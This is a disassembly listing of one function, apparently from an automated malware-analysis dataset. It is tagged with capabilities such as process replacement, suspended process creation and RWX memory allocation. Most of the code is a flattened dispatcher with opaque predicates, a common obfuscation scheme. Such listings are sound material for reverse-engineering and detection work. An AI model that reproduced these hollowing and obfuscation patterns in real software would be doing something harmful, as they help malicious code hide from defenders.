Function at 0x10008540
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x134
mov eax, dword [0x10073400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x13c], 0xcdb5997
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x140], eax
sub eax, 0x8091d7bc
je 0x10014476
jmp 0x1000857c
mov eax, dword [ebp - 0x140]
sub eax, 0x80cf9153
je 0x1000ea30
jmp 0x10008592
mov eax, dword [ebp - 0x140]
sub eax, 0x8107d5da
je 0x10015f60
jmp 0x100085a8
mov eax, dword [ebp - 0x140]
sub eax, 0x8196aa7c
je 0x100131bf
jmp 0x100085be
mov eax, dword [ebp - 0x140]
sub eax, 0x81aa066a
je 0x10011607
jmp 0x100085d4
mov eax, dword [ebp - 0x140]
sub eax, 0x823158ec
je 0x1000d2c5
jmp 0x100085ea
mov eax, dword [ebp - 0x140]
sub eax, 0x8283190b
je 0x1000cbc1
jmp 0x10008600
mov eax, dword [ebp - 0x140]
sub eax, 0x82aeb940
je 0x100165cc
jmp 0x10008616
mov eax, dword [ebp - 0x140]
sub eax, 0x83149921
je 0x1000d428
jmp 0x1000862c
mov eax, dword [ebp - 0x140]
sub eax, 0x831b5253
je 0x1001571c
jmp 0x10008642
mov eax, dword [ebp - 0x140]
sub eax, 0x837834de
je 0x1000fd47
jmp 0x10008658
mov eax, dword [ebp - 0x140]
sub eax, 0x83bb022f
je 0x100107da
jmp 0x1000866e
mov eax, dword [ebp - 0x140]
sub eax, 0x84129993
je 0x1000d7b0
jmp 0x10008684
mov eax, dword [ebp - 0x140]
sub eax, 0x847cc5aa
je 0x1001079b
jmp 0x1000869a
mov eax, dword [ebp - 0x140]
sub eax, 0x847e2c4b
je 0x1000f697
jmp 0x100086b0
mov eax, dword [ebp - 0x140]
sub eax, 0x84c1e56a
je 0x10015289
jmp 0x100086c6
mov eax, dword [ebp - 0x140]
sub eax, 0x84dbbac3
je 0x10010a47
jmp 0x100086dc
mov eax, dword [ebp - 0x140]
sub eax, 0x85cd7f62
je 0x10013b13
jmp 0x100086f2
mov eax, dword [ebp - 0x140]
sub eax, 0x86a9a284
je 0x1000f59a
jmp 0x10008708
mov eax, dword [ebp - 0x140]
sub eax, 0x872c7d34
je 0x10013d5a
jmp 0x1000871e
mov eax, dword [ebp - 0x140]
sub eax, 0x87416898
je 0x1000eda1
jmp 0x10008734
mov eax, dword [ebp - 0x140]
sub eax, 0x874e9ba9
je 0x100108af
jmp 0x1000874a
mov eax, dword [ebp - 0x140]
sub eax, 0x875c0f35
je 0x100100d2
jmp 0x10008760
mov eax, dword [ebp - 0x140]
sub eax, 0x876e35cf
je 0x1000e3a6
jmp 0x10008776
mov eax, dword [ebp - 0x140]
sub eax, 0x87df19dc
je 0x10013ca7
jmp 0x1000878c
mov eax, dword [ebp - 0x140]
sub eax, 0x87fdd28f
je 0x10010dfe
jmp 0x100087a2
mov eax, dword [ebp - 0x140]
sub eax, 0x885e0e67
je 0x10015e7c
jmp 0x100087b8
mov eax, dword [ebp - 0x140]
sub eax, 0x887587c4
je 0x10011c36
jmp 0x100087ce
mov eax, dword [ebp - 0x140]
sub eax, 0x88f9fad1
je 0x10015d8b
jmp 0x100087e4
mov eax, dword [ebp - 0x140]
sub eax, 0x894a89af
je 0x1000cfe4
jmp 0x100087fa
mov eax, dword [ebp - 0x140]
sub eax, 0x8995170f
je 0x1001655a
jmp 0x10008810
mov eax, dword [ebp - 0x140]
sub eax, 0x89d23852
je 0x1000f3f6
jmp 0x10008826
mov eax, dword [ebp - 0x140]
sub eax, 0x8a1d44f4
je 0x1000fb64
jmp 0x1000883c
mov eax, dword [ebp - 0x140]
sub eax, 0x8b94e0eb
je 0x10012fab
jmp 0x10008852
mov eax, dword [ebp - 0x140]
sub eax, 0x8bea6202
je 0x1000fe10
jmp 0x10008868
mov eax, dword [ebp - 0x140]
sub eax, 0x8bf44449
je 0x1000f83c
jmp 0x1000887e
mov eax, dword [ebp - 0x140]
sub eax, 0x8d2b365e
je 0x10013f6f
jmp 0x10008894
mov eax, dword [ebp - 0x140]
sub eax, 0x8d34cf54
je 0x1000ef4a
jmp 0x100088aa
mov eax, dword [ebp - 0x140]
sub eax, 0x8d80fdf7
je 0x10015f3f
jmp 0x100088c0
mov eax, dword [ebp - 0x140]
sub eax, 0x8df99f61
je 0x100155eb
jmp 0x100088d6
mov eax, dword [ebp - 0x140]
sub eax, 0x8ed750f3
je 0x10013405
jmp 0x100088ec
mov eax, dword [ebp - 0x140]
sub eax, 0x8f62efb6
je 0x1000d8d9
jmp 0x10008902
mov eax, dword [ebp - 0x140]
sub eax, 0x8f935855
je 0x1000e84b
jmp 0x10008918
mov eax, dword [ebp - 0x140]
sub eax, 0x8fb00926
je 0x1000faa5
jmp 0x1000892e
mov eax, dword [ebp - 0x140]
sub eax, 0x9012081d
je 0x10015cc2
jmp 0x10008944
mov eax, dword [ebp - 0x140]
sub eax, 0x901b43f0
je 0x1000ce09
jmp 0x1000895a
mov eax, dword [ebp - 0x140]
sub eax, 0x903e8109
je 0x100117ff
jmp 0x10008970
mov eax, dword [ebp - 0x140]
sub eax, 0x9040a08c
je 0x100110ab
jmp 0x10008986
mov eax, dword [ebp - 0x140]
sub eax, 0x908d2a36
je 0x10015e1c
jmp 0x1000899c
mov eax, dword [ebp - 0x140]
sub eax, 0x90941460
je 0x1000ceff
jmp 0x100089b2
mov eax, dword [ebp - 0x140]
sub eax, 0x90f73669
je 0x100150d3
jmp 0x100089c8
mov eax, dword [ebp - 0x140]
sub eax, 0x91052e20
je 0x1001005d
jmp 0x100089de
mov eax, dword [ebp - 0x140]
sub eax, 0x91316d43
je 0x10016257
jmp 0x100089f4
mov eax, dword [ebp - 0x140]
sub eax, 0x914320c0
je 0x10016458
jmp 0x10008a0a
mov eax, dword [ebp - 0x140]
sub eax, 0x919e76e7
je 0x10012273
jmp 0x10008a20
mov eax, dword [ebp - 0x140]
sub eax, 0x919ed464
je 0x1000f7dd
jmp 0x10008a36
mov eax, dword [ebp - 0x140]
sub eax, 0x91a761ef
je 0x10010b2b
jmp 0x10008a4c
mov eax, dword [ebp - 0x140]
sub eax, 0x923544f1
je 0x10013c8a
jmp 0x10008a62
mov eax, dword [ebp - 0x140]
sub eax, 0x923bbf08
je 0x1001067e
jmp 0x10008a78
mov eax, dword [ebp - 0x140]
sub eax, 0x92993f59
je 0x10015bbc
jmp 0x10008a8e
mov eax, dword [ebp - 0x140]
sub eax, 0x92a0d865
je 0x1000e574
jmp 0x10008aa4
mov eax, dword [ebp - 0x140]
sub eax, 0x92b21265
je 0x1001290b
jmp 0x10008aba
mov eax, dword [ebp - 0x140]
sub eax, 0x92f89783
je 0x10015d10
jmp 0x10008ad0
mov eax, dword [ebp - 0x140]
sub eax, 0x9346d412
je 0x1000d020
jmp 0x10008ae6
mov eax, dword [ebp - 0x140]
sub eax, 0x9372c791
je 0x10011d06
mov dword [ebp - 0x13c], 0x2bc7b00f
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0xcdaf8bc0
sub edx, 1
add edx, 0xcdaf8bc0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x373931d4
mov ecx, 0x10efb70e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
movss xmm0, dword [0x100237c4]
movss dword [ebp - 0x12c], xmm0
mov dl, 1
mov eax, 0x395d1605
mov ecx, 0xf9a92e71
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
movss xmm0, dword [0x100237ac]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x13c], 0xaa2139e0
jmp 0x1001692e
movss xmm0, dword [0x100237a8]
movss dword [ebp - 0x12c], xmm0
movss xmm0, dword [0x100237a4]
movss dword [ebp - 0x12c], xmm0
mov dword [ebp - 0x13c], 0x98f0b03c
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0x5a1364a6
sub edx, 1
add edx, 0x5a1364a6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfeb49272
mov ecx, 0x44803b90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dl, 1
mov eax, 0xc1f96d84
mov ecx, 0x153937bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0xc7f78f81
jmp 0x1001692e
movss xmm0, dword [0x10023774]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x13c], 0xe39eff5a
jmp 0x1001692e
movss xmm0, dword [0x10023754]
movss dword [ebp - 0x134], xmm0
movss xmm0, dword [0x10023750]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0x66a2db2a
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x652daa06
jmp 0x1001692e
mov dl, 1
mov eax, 0x463eb33
mov ecx, 0xb6d3fe79
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
movss xmm0, dword [0x100234ac]
movss dword [ebp - 0x138], xmm0
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
add edx, 0xbcdca2e5
sub edx, 1
sub edx, 0xbcdca2e5
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x56058052
mov ecx, 0xed7f3e4e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
movss xmm0, dword [0x10023714]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0xf436da88
jmp 0x1001692e
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023700]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xeab7b812
jmp 0x1001692e
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x10023498]
movss dword [eax], xmm0
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
sub edx, 0x8c8ad708
sub edx, 1
add edx, 0x8c8ad708
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdf9a6ebc
mov ecx, 0x4db9a08e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
sub edx, 0x4653e91f
sub edx, 1
add edx, 0x4653e91f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x885e0e67
mov ecx, 0x2b181e19
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100236e0]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xf47206a9
jmp 0x1001692e
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x100236d0]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x7e738f97
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0xc2759748
sub edx, 1
add edx, 0xc2759748
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7db0af06
mov ecx, 0x767a4582
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xdd56af5
mov ecx, 0x687c2246
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dl, 1
mov eax, 0x49ce86b
mov ecx, 0x5c5fffdc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x62d0c0b8
mov ecx, 0xa106ece2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x66f7b6d0
jmp 0x1001692e
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023474]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023470]
movss dword [eax], xmm0
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0xcd186cdf
sub edx, 1
add edx, 0xcd186cdf
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa79f59ce
mov ecx, 0x875c0f35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x5f6cb4c9
jmp 0x1001692e
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x1002366c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x5f2d3cb9
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x3cc4b34a
jmp 0x1001692e
mov dl, 1
mov eax, 0x210aee94
mov ecx, 0x2129d6da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0x118]
movss xmm0, dword [0x10023454]
movss dword [eax], xmm0
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
sub edx, 0xc5bfb54c
sub edx, 1
add edx, 0xc5bfb54c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a1c0419
mov ecx, 0xbb0f976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
add edx, 0x7151e468
sub edx, 1
sub edx, 0x7151e468
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3902c40c
mov ecx, 0xe2b3c95
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023654]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023650]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1002364c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x23aff0f1
jmp 0x1001692e
mov dl, 1
mov eax, 0x74829a88
mov ecx, 0x41b51751
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
add edx, 0x3606a424
sub edx, 1
sub edx, 0x3606a424
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x20036a09
mov ecx, 0x9c0cc947
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
sub edx, 0xc621e23
sub edx, 1
add edx, 0xc621e23
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xed01b75f
mov ecx, 0xf7be1e1a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023428]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023424]
movss dword [eax], xmm0
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
add edx, 0x37f789f6
sub edx, 1
sub edx, 0x37f789f6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa4cea7db
mov ecx, 0x192c912e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dl, 1
mov eax, 0x5c66d77f
mov ecx, 0x999d99ce
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xee9707ac
mov ecx, 0x65f18976
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x29751535
jmp 0x1001692e
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10023590]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x1525d1f5
jmp 0x1001692e
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100233d4]
movss dword [eax], xmm0
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0xa4f8bfe6
sub edx, 1
add edx, 0xa4f8bfe6
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x15d87f77
mov ecx, 0xa1fe255d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x14fbeab0
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x7ed09dea
jmp 0x1001692e
mov dl, 1
mov eax, 0x30bf0cce
mov ecx, 0x87df19dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x1002352c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xd03bd09b
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x7e0b7f54
jmp 0x1001692e
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x25139d17
mov ecx, 0xe59a6dea
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0xe0]
mov al, byte [eax]
and al, 1
mov byte [ebp - 0x8d], al
mov ecx, dword [0x10074728]
mov eax, dword [0x10074724]
mov edx, ecx
sub edx, 0x994af28
sub edx, 1
add edx, 0x994af28
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xb82c6016
mov ecx, 0x4691127c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x38], eax
mov eax, dword [0x10074728]
mov ecx, dword [0x10074724]
mov edx, eax
sub edx, 0x98a98041
sub edx, 1
add edx, 0x98a98041
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaef5c066
mov ecx, 0xc18fcf2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x13c], eax
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x55ee784e
jmp 0x1001692e
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x13c], 0xb04f92bf
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x3f8b55e4
jmp 0x1001692e
movss xmm0, dword [0x100234dc]
movss dword [ebp - 0x130], xmm0
mov dword [ebp - 0x13c], 0x9c6b344
jmp 0x1001692e
movss xmm0, dword [0x100234c0]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0x22593a66
jmp 0x1001692e
movss xmm0, dword [0x100234b4]
movss dword [ebp - 0x134], xmm0
mov dword [ebp - 0x13c], 0xf10069
jmp 0x1001692e
movss xmm0, dword [0x100234a8]
movss dword [ebp - 0x138], xmm0
mov dword [ebp - 0x13c], 0xd99fbe07
jmp 0x1001692e
mov dword [ebp - 0x13c], 0xa24aa48c
jmp 0x1001692e
mov dword [ebp - 0x13c], 0x2b181e19
jmp 0x1001692e
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x1002347c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x3ca7d52c
jmp 0x1001692e
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x10023478]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xf189d53a
jmp 0x1001692e
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1002341c]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xa059d119
jmp 0x1001692e
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x100233dc]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x9ba1443d
jmp 0x1001692e
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100233c4]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0xb4f03b81
jmp 0x1001692e
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100233b8]
movss dword [eax], xmm0
mov dword [ebp - 0x13c], 0x3069d907
jmp 0x1001692e
jmp 0x10008560